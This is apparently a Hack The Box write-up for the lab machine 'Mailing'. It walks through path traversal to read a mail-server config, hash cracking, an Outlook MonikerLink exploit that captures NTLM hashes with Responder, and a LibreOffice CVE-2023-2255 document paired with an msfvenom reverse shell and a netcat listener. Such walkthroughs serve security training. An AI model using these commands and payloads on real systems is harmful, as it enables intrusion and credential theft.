HTB Mailing
Release date: 04 May, 2024 - Easy Windows machine
"Mailing" is a beginner-friendly Windows machine featuring hMailServer and a website vulnerable to Path Traversal. By exploiting this flaw, the hMailServer configuration file can be accessed, revealing an Administrator password hash, which can then be cracked to gain email account access. Additionally, CVE-2024-21413 allows NTLM hash capture for the user "maya" through the Windows Mail application, which can be cracked to log in via WinRM. For privilege escalation, CVE-2023-2255 in LibreOffice is exploited.
Nmap scan
We have open ports for email, http, smb.
Adding mailing htb to: /etc/hosts

On the webpage "Download instructions" and intercept the request in Burp. The url download.php?file=instructions.pdf looks interesting for a possible LFI.

Changing the filename to ../../../../../windows/win.ini reads the file.

From the Nmap scan we know hMailServer is running and checking the hMailServer documentation it shows there is a hMailServer.ini file. https://www.hmailserver.com/documentation/v5.4/?page=reference_inifilesettings
587/tcp open smtp hMailServer smtpd
Searching for hMailServer senstive files we hMailServer.ini to be interesting.
"However, some settings are stored in the hMailServer.ini file. Examples of settings stored in the ini-file are paths and database connection information"

Using the LFI and reading hMailServer.ini the administrator password is visible.
GET /download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
# Read file using Curl
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'

Cracking the MD5 with hashcat
$ hashcat -m 0 '841bb5acfa6779ae432fd7a4e6600ba7' rockyou.txt
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921514
* Keyspace..: 14344385
841bb5acfa6779ae432fd7a4e6600ba7:<redacted>
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 841bb5acfa6779ae432fd7a4e6600ba7
Time.Started.....: Wed Oct 2 10:33:20 2024 (1 sec)
Time.Estimated...: Wed Oct 2 10:33:21 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 7323.4 kH/s (0.18ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 7567360/14344385 (52.75%)
Rejected.........: 0/7567360 (0.00%)
Restore.Point....: 7562240/14344385 (52.72%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: homepark11 -> holloman01
Hardware.Mon.#1..: Util: 16%
The MonikerLink bug
On github a working PoC. Download the script and configure the flags. On the host machine start Responder and after a while, a NTLM hash will be captured.
# Run the PoC
python3 outlook.py --server mailing.htb --port 587 --username [email protected] --password 'homenetworkingadministrator' --sender [email protected] --recipient [email protected] --url "\\10.10.14.32\test\pwn" --subject Test
# Run responsoder or
sudo Responder -I tun0

Cracking the NTLMv2 hash.
$ hashcat -m 5600 maya.hash rockyou.txt
hashcat (v6.2.6) starting
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921514
* Keyspace..: 14344385
MAYA::MAILING:9f3a3d7248516521:f7f3be24bae2519b3d47f6b6d79f17f2:0101000000000000002d0747cf14db01e532cf3dceb4b9d8000000000200080042004f004d00430001001e00570049004e002d0031003300530047004a004600460050004f004300350004003400570049004e002d0031003300530047004a004600460050004f00430035002e0042004f004d0043002e004c004f00430041004c000300140042004f004d0043002e004c004f00430041004c000500140042004f004d0043002e004c004f00430041004c0007000800002d0747cf14db0106000400020000000800300030000000000000000000000000200000689dc04858e3f2e579baa5756f87a41158aa50ec42e0b0dd9aa2ffaecaf6f4c20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00330031000000000000000000:<redacted>
With the password login as Maya user and grab the first flag.
$ evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri

Root flag
In installed applications in 'Program Files' folder we find LibreOffice. A version.ini file in program folder reveals the LIbreOffice version 7.4.0.1
C:\program files\LibreOffice\program> type version.ini

CVE-2023-2255
LibreOffice supports "floating frames," which function similarly to HTML iframes by displaying linked documents within a floating frame inside the host document. In vulnerable versions of LibreOffice, these frames could automatically load external content without prompting the user for permission.
Generate payload using CVE-2023-2255.py
python3 CVE-2023-2255.py --cmd 'cmd.exe /c C:\ProgramData\reverse.exe' --output 'exploit.odt'
Upload exploit.odt to SMB share
$ smbclient \\\\10.10.11.14\\'Important Documents' -U maya
Password for [WORKGROUP\maya]:
Try "help" to get a list of possible commands.
smb: \> mput exploit.odt
Put file exploit.odt? y
putting file exploit.odt as \exploit.odt (584.4 kb/s) (average 584.4 kb/s)
smb: \> dir
. D 0 Wed Oct 2 15:10:44 2024
.. D 0 Wed Oct 2 15:10:44 2024
exploit.odt A 30519 Wed Oct 2 15:10:44 2024
8067583 blocks of size 4096. 1094931 blocks available
Generate tcp reverse shell using msfvenom and place it on C:\ProgramData
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=8888 -f exe -o reverse.exe
Setup a listener on host and wait for connection
$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.11.14] 56480
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\LibreOffice\program>whoami
whoami
mailing\localadmin
In C:\Users\localadmin\Desktop the root flag

Last updated
Was this helpful?